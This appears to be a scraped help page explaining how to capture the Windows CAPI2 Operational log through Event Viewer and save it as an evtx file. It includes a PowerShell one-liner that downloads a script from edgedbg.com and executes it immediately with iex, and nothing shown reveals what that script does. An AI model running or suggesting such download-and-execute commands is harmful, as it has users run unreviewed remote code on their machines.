Open the Event Viewer and navigate to Applications and Services Logs -> Microsoft -> Windows -> CAPI2, right click on Operational and click Enable Log.

powershell -nop -c "iex(New-Object Net.WebClient).DownloadString('http://edgedbg.com/files/iemap.ps1')" CopiedCopy failed, please copy the command manuallyOpen the Event Viewer and navigate to Applications and Services Logs -> Microsoft -> Windows -> CAPI2, right click on Operational and click Enable Log.

Go back to the Event Viewer, right click on Applications and Services Logs -> Microsoft -> Windows -> CAPI2 -> Operational and click Disable Log.

Right click on CAPI2 -> Operational again and click Save All Events As... to save the CAPI2 event log in evtx format.
